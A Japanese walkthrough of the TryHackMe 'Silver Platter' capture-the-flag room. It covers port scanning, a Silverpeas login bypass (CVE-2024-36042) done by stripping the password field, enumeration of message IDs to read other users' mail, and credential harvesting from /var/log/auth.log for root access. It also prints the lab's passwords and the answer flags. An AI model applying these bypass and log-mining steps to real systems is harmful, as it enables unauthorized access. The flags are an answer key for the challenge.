ルームについて
TryHackMe - Silver Platter:
userフラグとrootフラグの入手が今回の目標。
パスワードはrockyou.txtに存在しないものを使用しているらしい。確かに攻撃には強化されていそうだが、今回も攻略していこう。
今回の環境
IPアドレスは以下の通り。
ターゲット: 10.10.61.192
ローカル(VPN): 10.9.1.210
ローカルの環境にはKali 2024.4を使用し、作業ディレクトリは~/thm/Silver-Platterとする。
Recon(偵察)
ポートスキャンを実行する。
┌──(kali㉿kali)-[~/thm/Silver-Platter]
└─$ nmap --vv -Pn -T4 -sV -oN nmap-1.txt 10.10.61.192
(中略)
┌──(kali㉿kali)-[~/thm/Silver-Platter]
└─$ cat nmap-1.txt
# Nmap 7.95 scan initiated Sat Jan 18 20:08:28 2025 as: /usr/lib/nmap/nmap --privileged --vv -Pn -T4 -sV -oN nmap-1.txt 10.10.61.192
Nmap scan report for 10.10.61.192
Host is up, received user-set (0.24s latency).
Scanned at 2025-01-18 20:08:28 JST for 97s
Not shown: 920 closed tcp ports (reset), 77 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
8080/tcp open http-proxy syn-ack ttl 62
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.95%I=7%D=1/18%Time=678B8BB7%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,C9,"HTTP/1\.1\x20404\x20Not\x20Found\r\nConnection:\x20close\r
SF:\nContent-Length:\x2074\r\nContent-Type:\x20text/html\r\nDate:\x20Sat,\
SF:x2018\x20Jan\x202025\x2011:08:38\x20GMT\r\n\r\n<html><head><title>Error
SF:</title></head><body>404\x20-\x20Not\x20Found</body></html>")%r(HTTPOpt
SF:ions,C9,"HTTP/1\.1\x20404\x20Not\x20Found\r\nConnection:\x20close\r\nCo
SF:ntent-Length:\x2074\r\nContent-Type:\x20text/html\r\nDate:\x20Sat,\x201
SF:8\x20Jan\x202025\x2011:08:39\x20GMT\r\n\r\n<html><head><title>Error</ti
SF:tle></head><body>404\x20-\x20Not\x20Found</body></html>")%r(RTSPRequest
SF:,42,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConn
SF:ection:\x20close\r\n\r\n")%r(FourOhFourRequest,C9,"HTTP/1\.1\x20404\x20
SF:Not\x20Found\r\nConnection:\x20close\r\nContent-Length:\x2074\r\nConten
SF:t-Type:\x20text/html\r\nDate:\x20Sat,\x2018\x20Jan\x202025\x2011:08:40\
SF:x20GMT\r\n\r\n<html><head><title>Error</title></head><body>404\x20-\x20
SF:Not\x20Found</body></html>")%r(Socks5,42,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n")%r(Gener
SF:icLines,42,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\
SF:r\nConnection:\x20close\r\n\r\n")%r(Help,42,"HTTP/1\.1\x20400\x20Bad\x2
SF:0Request\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n")%r(SS
SF:LSessionReq,42,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x
SF:200\r\nConnection:\x20close\r\n\r\n")%r(TerminalServerCookie,42,"HTTP/1
SF:\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConnection:\x20
SF:close\r\n\r\n")%r(TLSSessionReq,42,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n")%r(Kerberos,42
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConnect
SF:ion:\x20close\r\n\r\n")%r(SMBProgNeg,42,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n")%r(LPDStr
SF:ing,42,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nC
SF:onnection:\x20close\r\n\r\n")%r(LDAPSearchReq,42,"HTTP/1\.1\x20400\x20B
SF:ad\x20Request\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 18 20:10:05 2025 -- 1 IP address (1 host up) scanned in 96.97 seconds
8080ポートだけバージョンが不明と出ているが、とにかく稼働状況を出すことができた。
| Port | Service | Version |
|---|---|---|
| 22 | ssh | OpenSSH 8.9p1 |
| 80 | http | nginx 1.18.0 |
| 8080 | http-proxy | ? |
sshからパスワードクラックで出すことはタスクの説明欄を見る限り厳しそう。Webサーバーから偵察してみよう。

「HACK SMARTER SECURITY」という架空のセキュリティ企業のホームページだろうか。
少し探索していくと、/#contactにとある情報がある。
Silverpeasがインストールされていて、ユーザー名がscr1ptkiddyらしい。
ここを見ると、デフォルトのリンクが:8080/silverpeasだとわかるので、早速アクセスしてみる。

ログイン画面が表示された。今のところユーザー名しか持っていないうえ、パスワードも前述の通りクラックは厳しいため別の手法を探してみる。

silverpeas loginで探していると、ある脆弱性(CVE-2024-36042)が検索結果に出てきた。
どうやらログイン時のPOSTリクエストからパスワードフィールドを削除すると、管理者であるSilverAdminユーザーにログインできるそうだ。
(google-silverpeas-access-exploit)
また、さらに探ってみると、こんな脆弱性も見つかった。
管理者権限を持っていれば、他のユーザー間で送信されるメッセージを全て読み取ることができるというものだ。
ログイン画面にあるコピーライトの西暦から、ターゲットで動いているのはV6.3だと推測できる。
これらの脆弱性はV6.3.1以下で実行できるため、有用である可能性が高い。早速やってみよう。
GainAccess(侵入)
まずはCVE-2024-36042から。
Burp SuiteでSilverpeasのログイン画面を開き、Login欄をscr1ptkiddyに、Password欄を適当に(今回はtest)入力して、Burp Suiteに戻ってInterceptをオンにしておいてから、ログインでPOSTリクエストを送信する。
POST /silverpeas/AuthenticationServlet HTTP/1.1
Host: 10.10.61.192:8080
Content-Length: 42
Cache-Control: max-age=0
Accept-Language: ja
Origin: http://10.10.61.192:8080
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.61.192:8080/silverpeas/defaultLogin.jsp
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=FBxR7w1f2mUU3dzlkZx3jzI1a49JTVF2MsjD4ocD.ebabc79c6d2a
Connection: keep-alive
Login=scr1ptkiddy&Password=test&DomainId=0
リクエストはこのようになっているが、このうち最後のPassword=testという部分を削除してInterceptをオフにすると、見事SilverAdminにアクセスすることができた。

しかしこれで終わりではない。もう一つの脆弱性も使っていこう。
次もBurp Suiteを活用していく。:8080/silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=1にアクセスし、そのときのGETリクエストをIntruderに送る。
GET /silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=1 HTTP/1.1のID=1の1の部分にペイロードを設定し、Payloadsの設定を以下のように変更する。
| 項目 | 変更後 |
|---|---|
| Payload type | Numbers |
| From | 1 |
| To | 10 (任意だが今回は少なめに設定) |
そうしたら、Start attackで開始。
レスポンスをRenderで順に確認していく。
Dude how do you always forget the SSH password? Use a password manager and quit using your silly sticky notes.
Username: tim
Password: cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol
ついにSSHのユーザー名とパスワードが入手できた。早速ログインしていく。
ターミナルに戻って、SSH接続する。
┌──(kali㉿kali)-[~/thm/Silver-Platter]
└─$ ssh tim@10.10.61.192
The authenticity of host '10.10.61.192 (10.10.61.192)' can't be established.
ED25519 key fingerprint is SHA256:WFcHcO+oxUb2E/NaonaHAgqSK3bp9FP8hsg5z2pkhuE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? <yesと入力>
Warning: Permanently added '10.10.61.192' (ED25519) to the list of known hosts.
tim@10.10.61.192's password: <timのパスワード(cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol)を入力>
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-91-generic x86_64)
(中略)
tim@silver-platter:~$
timとしてログインできた。このままuserフラグがないか探してみると、最初のディレクトリにuser.txtというフラグファイルが存在し、フラグを入手することができた。
tim@silver-platter:~$ ls
user.txt
tim@silver-platter:~$ cat user.txt
THM{c4ca4238a0b923820dcc509a6f75849b}
PrivEsc(権限昇格)
最後に、権限昇格してrootフラグを入手する。
timについてと他のユーザーを調べてみよう。
tim@silver-platter:~$ id
uid=1001(tim) gid=1001(tim) groups=1001(tim),4(adm)
tim@silver-platter:~$ sudo -l
[sudo] password for tim: <timのパスワード(cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol)を入力>
Sorry, user tim may not run sudo on silver-platter.
tim@silver-platter:~$ ls -l /home
total 8
dr-xr-xr-x 2 root root 4096 Dec 13 2023 tim
drwxr-x--- 5 tyler tyler 4096 Dec 13 2023 tyler
どうやらtimはadmグループに所属し、sudoなどは何もできないらしい。また、他にtylerというユーザーが存在することもわかった。
admグループに所属しているということは、/var/logディレクトリにアクセスできる。つまり、SSHのlogを見てパスワードを盗み出せるのだ。
tim@silver-platter:~$ cat /var/log/auth.log | grep "tyler"
tim@silver-platter:~$ cat /var/log/auth.log.1 | grep "tyler"
May 8 08:58:40 silver-platter sshd[1710]: Accepted password for tyler from 192.168.1.20 port 42258 ssh2
May 8 08:58:40 silver-platter sshd[1710]: pam_unix(sshd:session): session opened for user tyler(uid=1000) by (uid=0)
May 8 08:58:40 silver-platter systemd-logind[711]: New session 2 of user tyler.
May 8 08:58:40 silver-platter systemd: pam_unix(systemd-user:session): session opened for user tyler(uid=1000) by (uid=0)
May 8 08:58:44 silver-platter sudo: tyler : TTY=pts/0 ; PWD=/home/tyler ; USER=root ; COMMAND=/usr/bin/su
May 8 08:58:44 silver-platter sudo: pam_unix(sudo:session): session opened for user root(uid=0) by tyler(uid=1000)
May 8 08:58:44 silver-platter su: pam_unix(su:session): session opened for user root(uid=0) by tyler(uid=0)
May 8 14:00:53 silver-platter sshd[1946]: Accepted password for tyler from 192.168.1.20 port 55742 ssh2
May 8 14:00:53 silver-platter sshd[1946]: pam_unix(sshd:session): session opened for user tyler(uid=1000) by (uid=0)
May 8 14:00:53 silver-platter systemd-logind[709]: New session 2 of user tyler.
May 8 14:00:53 silver-platter systemd: pam_unix(systemd-user:session): session opened for user tyler(uid=1000) by (uid=0)
May 8 14:01:11 silver-platter sudo: tyler : TTY=pts/0 ; PWD=/var/log ; USER=root ; COMMAND=/usr/bin/su
May 8 14:01:11 silver-platter sudo: pam_unix(sudo:session): session opened for user root(uid=0) by tyler(uid=1000)
May 8 14:01:11 silver-platter su: pam_unix(su:session): session opened for user root(uid=0) by tyler(uid=0)
tim@silver-platter:~$ cat /var/log/auth.log.2 | grep "tyler"
(中略)
Dec 13 15:40:33 silver-platter sudo: tyler : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/docker run --name postgresql -d -e POSTGRES_PASSWORD=_Zd_zx7N823/ -v postgresql-data:/var/lib/postgresql/data postgres:12.3
(略)
tylerのパスワードが_Zd_zx7N823/だということがわかった。早速アカウントを切り替えていこう。
tim@silver-platter:~$ su tyler
Password: <tylerのパスワード(_Zd_zx7N823/)を入力>
tyler@silver-platter:/home/tim$
あとは設定の不備からrootへの手掛かりを探していく。
tyler@silver-platter:/home/tim$ sudo -l
[sudo] password for tyler:
Matching Defaults entries for tyler on silver-platter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User tyler may run the following commands on silver-platter:
(ALL : ALL) ALL
どうやらtylerはsudoが全てにおいて使えるようだ。これなら簡単にrootまで権限を上げることができる。
tyler@silver-platter:/home/tim$ sudo su -
root@silver-platter:~# id
uid=0(root) gid=0(root) groups=0(root)
はい、勝ちです。ここまでお疲れさまでした。
root@silver-platter:~# ls
root.txt snap start_docker_containers.sh
root@silver-platter:~# cat root.txt
THM{098f6bcd4621d373cade4e832627b4f6}
解答
Q1. What is the user flag?
A1. THM{c4ca4238a0b923820dcc509a6f75849b}
Q2. What is the root flag?
A2. THM{098f6bcd4621d373cade4e832627b4f6}
